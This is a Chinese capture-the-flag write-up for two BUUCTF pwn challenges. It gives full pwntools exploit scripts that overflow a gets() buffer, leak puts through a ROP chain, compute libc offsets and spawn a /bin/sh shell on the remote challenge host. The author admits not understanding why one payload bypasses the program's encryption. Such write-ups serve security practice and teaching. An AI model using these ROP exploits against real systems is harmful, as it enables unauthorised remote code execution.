Pwn_buuctf_ciscn_2019_c_1
libc64
ida查看
在main函数没有发现明显漏洞
跟进encrypt()函数
发现了gets()和puts()函数,可以利用gets的栈溢出泄漏出puts的地址,从而找到libc版本信息getshell
ret用ROPgadget找
exp:
from pwn import *
from LibcSearcher import *
p= remote('node3.buuoj.cn',25412)
#p= remote('127.0.0.1',12345)
#p = process('./ciscn_2019_c_1')
#binsh_addr = 0x0804a028 # ROPgadget --binary level1 --string '/bin/sh'
ret = 0x4006b9
elf = ELF('./ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']
pop_rdi = 0x400c83
p.sendline('1')
p.recvuntil('encrypted')
payload = 'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
p.recvuntil('Ciphertext\n')
#p.recvline()
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libcbase = puts_addr - 0x0809c0
sys_addr = libcbase + 0x04f440
bin_sh = libcbase + 0x1b3e9a
p.recv()
p.sendline('1')
p.recvuntil('encrypted')
payload = 'a'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
也不知道为什么payload居然可以绕过了程序的加密?
Pwn_buuctf_ciscn_2019_en_2
libc64
和上面c_1一样,只不过这次发送payload的时候需要加密
exp:
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',28459)
elf = ELF('./ciscn_2019_en_2')
main_addr = 0x400B28
pop_rdi = 0x400C83
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
def encrypt(payload):
l = list(payload)
for i in range(len(l)):
if l[i].isdigit():
l[i] = chr(ord(l[i])^0xc)
elif l[i].isupper():
l[i] = chr(ord(l[i])^0xd)
elif l[i].islower():
l[i] = chr(ord(l[i])^0xe)
return ''.join(l)
p.recv()
p.sendline('1')
p.recvuntil('encrypted\n')
payload = 'a'*88 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(encrypt(payload))
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
p.recv()
p.sendline('1')
p.recvuntil('encrypted\n')
libcbase = puts_addr - 0x0809c0
sys_addr = libcbase + 0x04f440
bin_sh = libcbase + 0x1b3e9a
ret = 0x4006b9
payload2 = 'a'*88+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload2)
p.interactive()